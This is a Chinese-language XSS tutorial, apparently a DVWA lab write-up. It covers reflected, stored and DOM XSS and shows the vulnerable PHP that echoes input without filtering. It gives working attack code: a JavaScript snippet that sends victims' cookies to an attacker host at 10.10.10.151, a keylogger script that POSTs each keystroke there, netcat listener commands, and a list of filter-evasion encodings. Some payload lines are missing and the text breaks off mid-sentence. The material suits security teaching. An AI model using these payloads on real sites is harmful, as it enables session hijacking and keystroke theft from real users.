反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。
存储型(持久型):攻击者将恶意代码注入到Web服务器中并保存起来,只要客户端访问了相应的页面就会受到攻击。
DOM型:利用浏览器的DOM特性,不是向浏览器发请求而是直接通过在本地执行从而修改或窃取本地的信息。
直接嵌入html
去相应的网站访问不到相应的图片文件时就报错弹窗:
在DVWA中输入任何内容都会得到原来的内容,直接提交JS代码可见直接回弹框显示xss:
至于为何能够执行代码可以用Burpsuite抓包来看一下:
GET方法将js代码的一些空格等符号进行url编码然后一同放在URL上提交给服务器。
在服务器返回的页面中,正如测试时的一样,将原来的内容原封不动地返回,可以看到输入的js代码在返回页面的html代码中,而js代码是可以嵌入在html代码中执行的,其中嵌入的是一个alert()弹窗功能的函数,因而弹窗出来显示xss。
查看源代码:
';
echo 'Hello ' . $_GET['name'];
echo '
';
}
?>
进入代码层面看,可以看到没有对保存输入内容的name变量进行任何的过滤检测就提交并直接显示出来。
先用Kali监听80端口:
nc -vnlp 80
若80端口被占用,先查看是什么程序占用端口:
netstat -pantu | grep :80
然后用kill命令终止当前的程序即可:
输入以下JS代码来获取当前用户的cookie信息:
直接在监听端看到cookie信息:
a.js:
var img=new Image();
img.src="http://10.10.10.151:88/c.php?cookie="+document.cookie;
将a.js放在第三方服务器win2k3 sever(IP为10.10.10.144)的www根目录下,在Kali中监听88端口,再在Ubuntu中输入:
可在Kali中获取到Ubuntu客户端的cookie信息:
在Kali的网页根目录下保存Keylogger.js文件:
document.οnkeypress=function(evt){
evt=evt || window.event
key=String.fromCharCode(evt.charCode)
if(key){
var http=new XMLHttpRequest();
var param=encodeURI(key);
http.open("POST","http://10.10.10.151/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
访问一下确保可行:
接着就是将keylogger.php文件也保存在同一个目录来是实现将键盘得到记录保存到本地的keylog.txt文件中,即将接受到的key参数的取值保存到该文件中:
keylogger.php:
接着创建一个空的keylog.txt文件,然后赋予相应的可写的权限,这里为了方便就将权限赋给所有的用户:
chmod 777 keylog.txt
接着在Kali中打开的DVWA中输入:
然后在该网页中随意输入内容,查看keylog.txt文件可看到记录了下来:
很多的HTML标记中的属性都支持javascript:[code]伪协议的形式
空白不会影响JS语句的在正常执行
HTML属性值本身是支持ASCII码形式的
其中t的ASCII码值为116,用“t”来表示,而冒号:的ASCII值为58。
另外,Tab符的ASCII码为 、换行符的为 、回车符的为 可以被插入到代码的任何地方中去。
还可以将、等字符插入到JavaScript的头部中。
事件是用户或浏览器自身执行的某个动作,如Click等
onerror是img标签的一个事件,只要页面发生错误就会激活相应的事件。
除此之外还有各种事件,如:onResume、onfinish、onstop、onReverse等等。
CSS是XSS的另一个载体,代码通常是嵌入到style标签/属性中的。
缺点是个浏览器之间不能通用。
转换大小写,顺序可以随意
双引号与单引号互换
不使用引号
/**/注释符号
内嵌
可以对代码进行十进制编码(),可以在每个十进制字符后面加上分号;,也可以采用、;等的形式。
JS中的eval()函数,用于计算字符串并执行其中的JS代码。可以使用\连接十六进制字符串形式的脚本让eval()函数来执行,如
也可以让其执行十进制形式的脚本,但需要和String.fromCharCode()函数一起使用、实现将字符转为ASCII值,如
在利用CSS中,可以对style中的属性进行十六进制的编码来绕过。
简单地说,Shellcode是指对一个漏洞进行利用的代码。
将shellcode保存在其他服务器中,然后再用